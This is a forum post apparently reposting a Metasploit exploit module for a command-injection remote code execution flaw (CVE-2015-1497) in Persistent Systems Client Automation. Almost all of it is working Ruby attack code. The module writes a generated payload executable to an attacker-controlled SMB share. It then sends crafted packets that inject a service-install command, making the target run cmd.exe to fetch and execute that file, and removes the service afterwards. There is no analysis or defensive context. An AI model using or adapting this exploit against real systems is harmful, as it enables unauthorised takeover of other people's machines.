Jump to content
Kalashnikov.

Persistent Systems Client Automation Command Injection RCE

Recommended Posts

# Exploit Title: Persistent Systems Client Automation (PSCA, formerly HPCA or Radia) Command Injection Remote Code Execution Vulnerability
# Date: 2014-10-01
# Exploit Author: Ben Turner
# Vendor Homepage: Previosuly HP, now http://www.persistentsys.com/
# Version: 7.9, 8.1, 9.0, 9.1
# Tested on: Windows XP, Windows 7, Server 2003 and Server 2008
# CVE-2015-1497
# CVSS: 10

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

# Exploit mixins should be called first
include Msf::Exploit::Remote::SMB
include Msf::Exploit::EXE
include Msf::Auxiliary::Report

# Aliases for common classes
SIMPLE = Rex::Proto::SMB::Client
XCEPT = Rex::Proto::SMB::Exceptions
CONST = Rex::Proto::SMB::Constants


def initialize
super(
'Name' => 'Persistent Systems Client Automation (PSCA, formerly HPCA or Radia) Command Injection Remote Code Execution Vulnerability',
'Description' => %Q{
This module exploits PS Client Automation, by sending a remote service install and creating a callback payload.
},
'Author' => [ 'Ben Turner' ],
'License' => BSD_LICENSE,
'References' =>
[
],
'Privileged' => true,
'DefaultOptions' =>
{
'WfsDelay' => 10,
'EXITFUNC' => 'process'
},
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
'Platform' => ['win'],
'Targets' =>
[
[ 'PS Client Automation on Windows XP, 7, Server 2003 & 2008', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'January 10 2014'
)

register_options([
OptString.new('SMBServer', [true, 'The IP address of the SMB server', '192.168.1.1']),
OptString.new('SMBShare', [true, 'The root directory that is shared', 'share']),
Opt::RPORT(3465),
], self.class)

end

def exploit

createservice = "\x00\x24\x4D\x41\x43\x48\x49\x4E\x45\x00\x20\x20\x20\x20\x20\x20\x20\x20\x00"
createservice << "Nvdkit.exe service install test -path \"c:\\windows\\system32\\cmd.exe /c \\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}\\installservice.exe\""
createservice << "\x22\x00\x00\x00"

startservice = "\x00\x24\x4D\x41\x43\x48\x49\x4E\x45\x00\x20\x20\x20\x20\x20\x20\x20\x20\x00"
startservice << "Nvdkit service start test"
startservice << "\x22\x00\x00\x00"

removeservice = "\x00\x24\x4D\x41\x43\x48\x49\x4E\x45\x00\x20\x20\x20\x20\x20\x20\x20\x20\x00"
removeservice << "Nvdkit service remove test"
removeservice << "\x22\x00\x00\x00"

def filedrop()
begin
origrport = self.datastore['RPORT']
self.datastore['RPORT'] = 445
origrhost = self.datastore['RHOST']
self.datastore['RHOST'] = self.datastore['SMBServer']
connect()
smb_login()
print_status("Generating payload, dropping here: \\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}\\installservice.exe'...")
self.simple.connect("\\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}")
exe = generate_payload_exe
fd = smb_open("\\installservice.exe", 'rwct')
fd << exe
fd.close

self.datastore['RPORT'] = origrport
self.datastore['RHOST'] = origrhost

rescue Rex::Proto::SMB::Exceptions::Error => e
print_error("File did not exist, or could not connect to the SMB share: #{e}\n\n")
abort()
end
end

def filetest()
begin
origrport = self.datastore['RPORT']
self.datastore['RPORT'] = 445
origrhost = self.datastore['RHOST']
self.datastore['RHOST'] = self.datastore['SMBServer']
connect()
smb_login()
print_status("Checking the remote share: \\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}")
self.simple.connect("\\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}")
file = "\\installservice.exe"
filetest = smb_file_exist?(file)
if filetest
print_good("Found, upload was succesful! \\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}\\#{file}\n")
else
print_error("\\\\#{datastore['SMBServer']}\\#{file} - The file does not exist, try again!")

end

self.datastore['RPORT'] = origrport
self.datastore['RHOST'] = origrhost

rescue Rex::Proto::SMB::Exceptions::Error => e
print_error("File did not exist, or could not connect to the SMB share: #{e}\n\n")
abort()
end
end

begin
filedrop()
filetest()
connect()
sock.put(createservice)
print_status("Creating the callback payload and installing the remote service")
disconnect
sleep(5)
connect()
sock.put(startservice)
print_good("Exploit sent, awaiting response from service. Waiting 15 seconds before removing the service")
disconnect
sleep(30)
connect
sock.put(removeservice)
disconnect

rescue ::Exception => e
print_error("Could not connect to #{datastore['RHOST']}:#{datastore['RPORT']}\n\n")
abort()

end
end
end

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...